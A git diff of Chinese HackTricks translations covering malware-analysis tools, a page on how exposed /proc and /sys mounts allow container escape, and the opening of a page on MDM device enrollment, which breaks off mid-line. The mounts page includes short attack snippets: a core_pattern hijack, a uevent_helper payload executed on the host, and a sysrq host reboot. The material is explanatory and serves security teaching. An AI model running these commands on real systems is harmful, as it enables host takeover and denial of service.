### PEpper
|
||||||
|
|
||||||
[PEpper](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件内的一些基本内容(二进制数据、熵、URL和IP,一些yara规则)。
|
[PEpper](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件中的一些基本内容(二进制数据、熵、URL 和 IP、一些 yara 规则)。
|
||||||
|
|
||||||
### PEstudio
|
### PEstudio
|
||||||
|
|
||||||
[PEstudio](https://www.winitor.com/download) 是一个工具,允许获取Windows可执行文件的信息,如导入、导出、头文件,同时也会检查病毒总数并找到潜在的攻击技术。
|
[PEstudio](https://www.winitor.com/download) 是一个工具,可以获取 Windows 可执行文件的信息,如导入、导出、头部,还会检查病毒总数并查找潜在的 Att\&ck 技术。
|
||||||
|
|
||||||
### Detect It Easy(DiE)
|
### Detect It Easy(DiE)
|
||||||
|
|
||||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否被**加密**,同时也能找到**打包器**。
|
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否加密,并查找打包程序。
|
||||||
|
|
||||||
### NeoPI
|
### NeoPI
|
||||||
|
|
||||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) 是一个Python脚本,使用各种**统计方法**来检测文本/脚本文件中的**混淆**和**加密**内容。NeoPI的目的是帮助**检测隐藏的web shell代码**。
|
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) 是一个使用各种统计方法来检测文本/脚本文件中混淆和加密内容的 Python 脚本。NeoPI 的预期目的是帮助检测隐藏的 Web shell 代码。
|
||||||
|
|
||||||
### **php-malware-finder**
|
### **php-malware-finder**
|
||||||
|
|
||||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽其所能检测**混淆**/**可疑代码**,以及使用**PHP**函数的文件,这些函数经常在**恶意软件**/webshells中使用。
|
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽最大努力检测混淆/可疑代码以及使用 PHP 函数的文件,这些函数通常在恶意软件/webshell 中使用。
|
||||||
|
|
||||||
### Apple Binary Signatures
|
### Apple 二进制签名
|
||||||
|
|
||||||
在检查某些**恶意软件样本**时,你应该始终**检查二进制文件的签名**,因为签名它的**开发者**可能已经与**恶意软件**有关。
|
在检查一些恶意软件样本时,您应始终检查二进制文件的签名,因为签署它的开发人员可能已与恶意软件相关联。
|
||||||
```bash
|
```bash
|
||||||
#Get signer
|
#Get signer
|
||||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||||
|
@ -153,26 +153,12 @@ spctl --assess --verbose /Applications/Safari.app
|
||||||
|
|
||||||
### 文件堆叠
|
### 文件堆叠
|
||||||
|
|
||||||
如果您知道某个包含**文件**的文件夹是在**某个日期**上次更新的。**检查**该**日期**所有**文件**在**网页服务器上创建和修改的日期**,如果有任何日期**可疑**,检查该文件。
|
如果你知道某个包含**web服务器文件**的文件夹是在**某个日期**上次更新的。**检查**所有**web服务器文件**的创建和修改日期,如果有任何**可疑日期**,则检查该文件。
|
||||||
|
|
||||||
### 基线
|
### 基线
|
||||||
|
|
||||||
如果文件夹的文件**不应该被修改**,您可以计算文件夹**原始文件**的**哈希值**并将它们与**当前**文件进行**比较**。任何被修改的都将是**可疑的**。
|
如果文件夹中的文件**不应该被修改**,你可以计算文件夹中**原始文件**的**哈希值**,并将其与**当前文件**进行**比较**。任何被修改的内容都会**引起怀疑**。
|
||||||
|
|
||||||
### 统计分析
|
### 统计分析
|
||||||
|
|
||||||
当信息被保存在日志中时,您可以**检查统计数据,比如每个文件被访问的次数,因为网页外壳可能是其中之一**。
|
当信息保存在日志中时,你可以**检查统计数据,比如每个web服务器文件被访问的次数,因为web shell可能是其中之一**。
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
其他支持HackTricks的方式:
|
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,175 +1,166 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
(_**此信息取自**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts))
|
未经适当命名空间隔离的`/proc`和`/sys`的暴露会带来重大安全风险,包括增加攻击面和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供进一步攻击所需的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
|
||||||
|
|
||||||
由于缺乏命名空间支持,暴露`/proc`和`/sys`提供了大量的攻击面和信息泄露源。`procfs`和`sysfs`中的许多文件存在容器逃逸、主机修改或基本信息泄露的风险,这些泄露可能有助于其他攻击。
|
您可以在[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)找到每个潜在漏洞的更多详细信息。
|
||||||
|
|
||||||
为了滥用这些技术,可能仅仅需要**配置错误,例如`-v /proc:/host/proc`**,因为**AppArmor是基于路径的**,不保护`/host/proc`。
|
# procfs漏洞
|
||||||
|
|
||||||
# procfs
|
## `/proc/sys`
|
||||||
|
该目录允许通过`sysctl(2)`修改内核变量,并包含几个相关子目录:
|
||||||
|
|
||||||
## /proc/sys
|
### **`/proc/sys/kernel/core_pattern`**
|
||||||
|
- 在[core(5)](https://man7.org/linux/man-pages/man5/core.5.html)中描述。
|
||||||
`/proc/sys`通常允许访问并修改内核变量,通常通过`sysctl(2)`控制。
|
- 允许定义在生成核心文件时执行的程序,前128字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
|
||||||
|
- **测试和利用示例**:
|
||||||
### /proc/sys/kernel/core\_pattern
|
|
||||||
|
|
||||||
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html)定义了在生成核心文件(通常是程序崩溃)时执行的程序,并且如果该文件的第一个字符是管道符号`|`,则将核心文件作为标准输入传递。该程序由root用户运行,并允许最多128字节的命令行参数。这将允许在容器主机中轻松执行代码,只要发生任何崩溃和核心文件生成(在众多恶意行为中可以简单地丢弃)。
|
|
||||||
```bash
|
```bash
|
||||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
|
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入权限
|
||||||
cd /proc/sys/kernel
|
cd /proc/sys/kernel
|
||||||
echo "|$overlay/shell.sh" > core_pattern
|
echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
|
||||||
sleep 5 && ./crash &
|
sleep 5 && ./crash & # 触发处理程序
|
||||||
```
|
```
|
||||||
### /proc/sys/kernel/modprobe
|
|
||||||
|
|
||||||
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) 包含内核模块加载器的路径,当加载内核模块时会调用它,例如通过 [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) 命令。可以通过执行任何将触发内核尝试加载内核模块的操作(例如使用 crypto-API 加载当前未加载的加密模块,或使用 ifconfig 为当前未使用的设备加载网络模块)来获得代码执行能力。
|
### **`/proc/sys/kernel/modprobe`**
|
||||||
|
- 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中详细描述。
|
||||||
|
- 包含内核模块加载器的路径,用于加载内核模块。
|
||||||
|
- **检查访问权限示例**:
|
||||||
```bash
|
```bash
|
||||||
# Check if you can directly access modprobe
|
ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限
|
||||||
ls -l `cat /proc/sys/kernel/modprobe`
|
|
||||||
```
|
```
|
||||||
### /proc/sys/vm/panic\_on\_oom
|
|
||||||
|
|
||||||
[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) 是一个全局标志,用于确定内核在遇到内存不足(OOM)条件时是否会发生panic(而不是调用OOM killer)。这更像是一种拒绝服务(DoS)攻击,而不是容器逃逸,但它同样暴露了一个只应该由宿主机可用的能力。
|
### **`/proc/sys/vm/panic_on_oom`**
|
||||||
|
- 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中引用。
|
||||||
|
- 一个全局标志,控制当发生OOM条件时内核是崩溃还是调用OOM killer。
|
||||||
|
|
||||||
### /proc/sys/fs
|
### **`/proc/sys/fs`**
|
||||||
|
- 根据[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。
|
||||||
|
- 写入权限可能导致对主机的各种拒绝服务攻击。
|
||||||
|
|
||||||
[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) 目录包含了关于文件系统各个方面的选项和信息的数组,包括配额、文件句柄、inode和dentry信息。对这个目录具有写权限将允许对宿主机进行各种拒绝服务攻击。
|
### **`/proc/sys/fs/binfmt_misc`**
|
||||||
|
- 允许根据其魔术数字为非本机二进制格式注册解释器。
|
||||||
|
- 如果`/proc/sys/fs/binfmt_misc/register`可写,可能导致提权或获取root shell访问权限。
|
||||||
|
- 相关利用和解释:
|
||||||
|
- [通过binfmt_misc实现的简易rootkit](https://github.com/toffan/binfmt_misc)
|
||||||
|
- 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||||
|
|
||||||
### /proc/sys/fs/binfmt\_misc
|
## `/proc`中的其他内容
|
||||||
|
|
||||||
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) 允许执行各种二进制格式,这通常意味着可以为非本地二进制格式(如Java)注册各种**解释器**,基于它们的魔数。你可以通过注册处理程序使内核执行二进制文件。\
|
### **`/proc/config.gz`**
|
||||||
你可以在 [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc) 找到一个利用程序:_穷人的rootkit,利用_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_的_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _选项通过任何suid二进制文件(并获得root shell)提升权限,如果`/proc/sys/fs/binfmt_misc/register`是可写的。_
|
- 如果启用了`CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
|
||||||
|
- 对于攻击者来说,有助于识别运行中内核中的漏洞。
|
||||||
|
|
||||||
要更深入了解这项技术,请查看 [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
### **`/proc/sysrq-trigger`**
|
||||||
|
- 允许调用Sysrq命令,可能导致立即系统重启或其他关键操作。
|
||||||
## /proc/config.gz
|
- **重启主机示例**:
|
||||||
|
|
||||||
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) 取决于`CONFIG_IKCONFIG_PROC`设置,这会暴露一个压缩版的运行中内核的配置选项。这可能允许被破坏或恶意的容器轻松发现并针对内核中启用的脆弱区域。
|
|
||||||
|
|
||||||
## /proc/sysrq-trigger
|
|
||||||
|
|
||||||
`Sysrq` 是一个古老的机制,可以通过特殊的 `SysRq` 键盘组合来调用。这可以允许立即重启系统、发出 `sync(2)`、将所有文件系统重新挂载为只读、调用内核调试器以及其他操作。
|
|
||||||
|
|
||||||
如果客户端没有得到适当隔离,它可以通过向 `/proc/sysrq-trigger` 文件写入字符来触发 [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) 命令。
|
|
||||||
```bash
|
```bash
|
||||||
# Reboot the host
|
echo b > /proc/sysrq-trigger # 重启主机
|
||||||
echo b > /proc/sysrq-trigger
|
|
||||||
```
|
```
|
||||||
## /proc/kmsg
|
|
||||||
|
|
||||||
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) 可以暴露内核环形缓冲区消息,通常通过 `dmesg` 访问。暴露这些信息可以帮助内核漏洞利用,触发内核地址泄露(这可以帮助击败内核地址空间布局随机化(KASLR)),并且是关于内核、硬件、被阻止的数据包和其他系统细节的一般信息泄露源。
|
### **`/proc/kmsg`**
|
||||||
|
- 显示内核环形缓冲区消息。
|
||||||
|
- 可帮助内核利用、地址泄漏和提供敏感系统信息。
|
||||||
|
|
||||||
## /proc/kallsyms
|
### **`/proc/kallsyms`**
|
||||||
|
- 列出内核导出的符号及其地址。
|
||||||
|
- 对于内核利用开发至关重要,特别是用于克服KASLR。
|
||||||
|
- 地址信息受`kptr_restrict`设置为`1`或`2`的限制。
|
||||||
|
- 详细信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
|
||||||
|
|
||||||
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) 包含内核导出符号及其地址位置的列表,用于动态和可加载模块。这还包括物理内存中内核映像的位置,这对于内核漏洞开发很有帮助。从这些位置,可以找到内核的基地址或偏移量,这可以用来克服内核地址空间布局随机化(KASLR)。
|
### **`/proc/[pid]/mem`**
|
||||||
|
- 与内核内存设备`/dev/mem`交互。
|
||||||
|
- 在历史上容易受到提权攻击的影响。
|
||||||
|
- 更多信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
|
||||||
|
|
||||||
对于 `kptr_restrict` 设置为 `1` 或 `2` 的系统,这个文件将存在但不提供任何地址信息(尽管符号列表的顺序与内存中的顺序相同)。
|
### **`/proc/kcore`**
|
||||||
|
- 以ELF核心格式表示系统的物理内存。
|
||||||
|
- 读取可能泄露主机系统和其他容器的内存内容。
|
||||||
|
- 大文件大小可能导致读取问题或软件崩溃。
|
||||||
|
- 详细用法请参阅[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
|
||||||
|
|
||||||
## /proc/\[pid]/mem
|
### **`/proc/kmem`**
|
||||||
|
- `/dev/kmem`的替代接口,表示内核虚拟内存。
|
||||||
|
- 允许读取和写入,因此可以直接修改内核内存。
|
||||||
|
|
||||||
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) 暴露了内核内存设备 `/dev/mem` 的接口。虽然 PID 命名空间可能保护免受某些攻击,但这个 `procfs` 向量历史上一直很脆弱,后来被认为是安全的,但又被发现对于权限提升是[脆弱的](https://git.zx2c4.com/CVE-2012-0056/about/)。
|
### **`/proc/mem`**
|
||||||
|
- `/dev/mem`的替代接口,表示物理内存。
|
||||||
|
- 允许读取和写入,修改所有内存需要解析虚拟到物理地址。
|
||||||
|
|
||||||
## /proc/kcore
|
### **`/proc/sched_debug`**
|
||||||
|
- 返回进程调度信息,绕过PID命名空间保护。
|
||||||
|
- 显示进程名称、ID和cgroup标识符。
|
||||||
|
|
||||||
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) 代表系统的物理内存,并且是以 ELF 核心格式(通常在核心转储文件中找到)。它不允许写入上述内存。能够读取此文件(限于特权用户)可能会泄露来自宿主系统和其他容器的内存内容。
|
### **`/proc/[pid]/mountinfo`**
|
||||||
|
- 提供有关进程挂载命名空间中挂载点的信息。
|
||||||
|
- 显示容器`rootfs`或镜像的位置。
|
||||||
|
|
||||||
报告的大文件大小代表了架构的最大物理可寻址内存量,当读取它时可能会导致问题(或根据软件的脆弱性导致崩溃)。
|
## `/sys`漏洞
|
||||||
|
|
||||||
[在 2019 年转储 /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
|
### **`/sys/kernel/uevent_helper`**
|
||||||
|
- 用于处理内核设备`uevents`。
|
||||||
## /proc/kmem
|
- 写入`/sys/kernel/uevent_helper`可以在`uevent`触发时执行任意脚本。
|
||||||
|
- **利用示例**:
|
||||||
`/proc/kmem` 是 [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html)(其直接访问被 cgroup 设备白名单阻止)的另一个接口,它是一个代表内核虚拟内存的字符设备文件。它允许读写,允许直接修改内核内存。
|
%%%bash
|
||||||
|
# 创建有效载荷
|
||||||
## /proc/mem
|
echo "#!/bin/sh" > /evil-helper
|
||||||
|
echo "ps > /output" >> /evil-helper
|
||||||
`/proc/mem` 是 [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html)(其直接访问被 cgroup 设备白名单阻止)的另一个接口,它是一个代表系统物理内存的字符设备文件。它允许读写,允许修改所有内存。(它比 `kmem` 需要更多的技巧,因为需要先将虚拟地址解析为物理地址)。
|
|
||||||
|
|
||||||
## /proc/sched\_debug
|
|
||||||
|
|
||||||
`/proc/sched_debug` 是一个特殊文件,返回整个系统的进程调度信息。这些信息包括来自所有命名空间的进程名称和进程 ID 以及进程 cgroup 标识符。这有效地绕过了 PID 命名空间保护,并且是其他/世界可读的,因此也可以在非特权容器中利用。
|
|
||||||
|
|
||||||
## /proc/\[pid]/mountinfo
|
|
||||||
|
|
||||||
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) 包含进程的挂载命名空间中的挂载点信息。它暴露了容器 `rootfs` 或镜像的位置。
|
|
||||||
|
|
||||||
# sysfs
|
|
||||||
|
|
||||||
## /sys/kernel/uevent\_helper
|
|
||||||
|
|
||||||
`uevents` 是内核在添加或移除设备时触发的事件。值得注意的是,通过写入 `/sys/kernel/uevent_helper` 可以修改 `uevent_helper` 的路径。然后,当触发 `uevent` 时(这也可以通过写入如 `/sys/class/mem/null/uevent` 等文件从用户空间完成),恶意的 `uevent_helper` 将被执行。
|
|
||||||
```bash
|
|
||||||
# Creates a payload
|
|
||||||
cat "#!/bin/sh" > /evil-helper
|
|
||||||
cat "ps > /output" >> /evil-helper
|
|
||||||
chmod +x /evil-helper
|
chmod +x /evil-helper
|
||||||
# Finds path of OverlayFS mount for container
|
# 从OverlayFS挂载中找到容器的主机路径
|
||||||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
# 将uevent_helper设置为恶意助手
|
||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|
||||||
# Sets uevent_helper to /path/payload
|
|
||||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||||
# Triggers a uevent
|
# 触发uevent
|
||||||
echo change > /sys/class/mem/null/uevent
|
echo change > /sys/class/mem/null/uevent
|
||||||
# or else
|
# 读取输出
|
||||||
# echo /sbin/poweroff > /sys/kernel/uevent_helper
|
|
||||||
# Reads the output
|
|
||||||
cat /output
|
cat /output
|
||||||
```
|
%%%
|
||||||
## /sys/class/thermal
|
|
||||||
|
|
||||||
访问ACPI和各种硬件温度控制设置,通常在笔记本电脑或游戏主板中找到。这可能允许对容器宿主进行DoS攻击,甚至可能导致物理损坏。
|
### **`/sys/class/thermal`**
|
||||||
|
- 控制温度设置,可能导致拒绝服务攻击或物理损坏。
|
||||||
|
|
||||||
## /sys/kernel/vmcoreinfo
|
### **`/sys/kernel/vmcoreinfo`**
|
||||||
|
- 泄露内核地址,可能危及KASLR。
|
||||||
|
|
||||||
该文件可以泄露内核地址,这可能用于击败KASLR。
|
### **`/sys/kernel/security`**
|
||||||
|
- 包含`securityfs`接口,允许配置Linux安全模块,如AppArmor。
|
||||||
|
- 访问可能使容器能够禁用其MAC系统。
|
||||||
|
|
||||||
## /sys/kernel/security
|
### **`/sys/firmware/efi/vars`和`/sys/firmware/efi/efivars`**
|
||||||
|
- 提供与NVRAM中的EFI变量交互的接口。
|
||||||
|
- 配置错误或利用可能导致笔记本电脑变砖或主机无法启动。
|
||||||
|
|
||||||
在`/sys/kernel/security`挂载了`securityfs`接口,它允许配置Linux安全模块。这允许配置[AppArmor策略](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor),因此访问这个可能允许容器禁用其MAC系统。
|
### **`/sys/kernel/debug`**
|
||||||
|
- `debugfs`为内核提供“无规则”调试接口。
|
||||||
## /sys/firmware/efi/vars
|
- 由于其无限制的特性,存在安全问题的历史。
|
||||||
|
|
||||||
`/sys/firmware/efi/vars`暴露了与EFI变量在NVRAM中交互的接口。虽然这对大多数服务器来说通常不相关,但EFI变得越来越流行。权限弱点甚至导致了一些笔记本电脑变砖。
|
|
||||||
|
|
||||||
## /sys/firmware/efi/efivars
|
|
||||||
|
|
||||||
`/sys/firmware/efi/efivars`提供了一个接口,用于写入用于UEFI启动参数的NVRAM。修改它们可能会使宿主机无法启动。
|
|
||||||
|
|
||||||
## /sys/kernel/debug
|
|
||||||
|
|
||||||
`debugfs`提供了一个“无规则”接口,内核(或内核模块)可以通过它创建用户空间可访问的调试接口。它过去有过一些安全问题,文件系统背后的“无规则”指导原则经常与安全限制发生冲突。
|
|
||||||
|
|
||||||
# 参考资料
|
# 参考资料
|
||||||
|
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||||
* [理解和加固Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
* [理解和加固Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||||
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,412 +1,66 @@
|
||||||
# 在其他组织中注册设备
|
# 将设备注册到其他组织
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 简介
|
## 简介
|
||||||
|
|
||||||
如[**之前评论**](./#what-is-mdm-mobile-device-management)**,** 为了尝试将设备注册到组织中,**只需要属于该组织的序列号**。一旦设备注册,许多组织将在新设备上安装敏感数据:证书、应用程序、WiFi密码、VPN配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
